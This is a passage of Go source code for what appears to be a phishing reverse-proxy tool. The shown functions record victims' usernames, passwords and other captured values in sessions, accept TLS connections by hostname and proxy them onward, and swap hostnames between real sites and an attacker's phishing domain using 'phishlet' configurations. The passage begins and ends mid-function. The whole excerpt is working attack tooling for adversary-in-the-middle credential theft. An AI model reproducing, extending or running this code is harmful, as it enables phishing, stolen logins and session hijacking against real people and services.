Certificates: []tls.Certificate{*cert},
}, nil
}
}
}
func (p *HttpProxy) setSessionUsername(sid string, username string) {
if sid == "" {
return
}
s, ok := p.sessions[sid]
if ok {
s.SetUsername(username)
}
}
func (p *HttpProxy) setSessionPassword(sid string, password string) {
if sid == "" {
return
}
s, ok := p.sessions[sid]
if ok {
s.SetPassword(password)
}
}
func (p *HttpProxy) setSessionCustom(sid string, name string, value string) {
if sid == "" {
return
}
s, ok := p.sessions[sid]
if ok {
s.SetCustom(name, value)
}
}
func (p *HttpProxy) httpsWorker() {
var err error
p.sniListener, err = net.Listen("tcp", p.Server.Addr)
if err != nil {
log.Fatal("%s", err)
return
}
p.isRunning = true
for p.isRunning {
c, err := p.sniListener.Accept()
if err != nil {
log.Error("Error accepting connection: %s", err)
continue
}
go func(c net.Conn) {
now := time.Now()
c.SetReadDeadline(now.Add(httpReadTimeout))
c.SetWriteDeadline(now.Add(httpWriteTimeout))
tlsConn, err := vhost.TLS(c)
if err != nil {
return
}
hostname := tlsConn.Host()
if hostname == "" {
return
}
if !p.cfg.IsActiveHostname(hostname) {
log.Debug("hostname unsupported: %s", hostname)
return
}
hostname, _ = p.replaceHostWithOriginal(hostname)
req := &http.Request{
Method: "CONNECT",
URL: &url.URL{
Opaque: hostname,
Host: net.JoinHostPort(hostname, "443"),
},
Host: hostname,
Header: make(http.Header),
RemoteAddr: c.RemoteAddr().String(),
}
resp := dumbResponseWriter{tlsConn}
p.Proxy.ServeHTTP(resp, req)
}(c)
}
}
func (p *HttpProxy) getPhishletByOrigHost(hostname string) *Phishlet {
for site, pl := range p.cfg.phishlets {
if p.cfg.IsSiteEnabled(site) {
for _, ph := range pl.proxyHosts {
if hostname == combineHost(ph.orig_subdomain, ph.domain) {
return pl
}
}
}
}
return nil
}
func (p *HttpProxy) getPhishletByPhishHost(hostname string) *Phishlet {
for site, pl := range p.cfg.phishlets {
if p.cfg.IsSiteEnabled(site) {
phishDomain, ok := p.cfg.GetSiteDomain(pl.Name)
if !ok {
continue
}
for _, ph := range pl.proxyHosts {
if hostname == combineHost(ph.phish_subdomain, phishDomain) {
return pl
}
}
}
}
return nil
}
func (p *HttpProxy) replaceHostWithOriginal(hostname string) (string, bool) {
if hostname == "" {
return hostname, false
}
prefix := ""
if hostname[0] == '.' {
prefix = "."
hostname = hostname[1:]
}
for site, pl := range p.cfg.phishlets {
if p.cfg.IsSiteEnabled(site) {
phishDomain, ok := p.cfg.GetSiteDomain(pl.Name)
if !ok {
continue
}
for _, ph := range pl.proxyHosts {
if hostname == combineHost(ph.phish_subdomain, phishDomain) {
return prefix + combineHost(ph.orig_subdomain, ph.domain), true
}
}
}
}
return hostname, false
}
func (p *HttpProxy) replaceHostWithPhished(hostname string) (string, bool) {
if hostname == "" {
return hostname, false
}
prefix := ""
if hostname[0] == '.' {
prefix = "."
hostname = hostname[1:]
}
for site, pl := range p.cfg.phishlets {
if p.cfg.IsSiteEnabled(site) {
phishDomain, ok := p.cfg.GetSiteDomain(pl.Name)
if !ok {
continue
}
for _, ph := range pl.proxyHosts {
if hostname == ph.domain {
return prefix + phishDomain, true
}
if hostname == combineHost(ph.orig_subdomain, ph.domain) {
return prefix + combineHost(ph.phish_subdomain, phishDomain), true
}
}
}
}
return hostname, false
}
func (p *HttpProxy) getPhishDomain(hostname string) (string, bool) {
for site, pl := range p.cfg.phishlets {
if p.cfg.IsSiteEnabled(site) {
phishDomain, ok := p.cfg.GetSiteDomain(pl.Name)
if !ok {
continue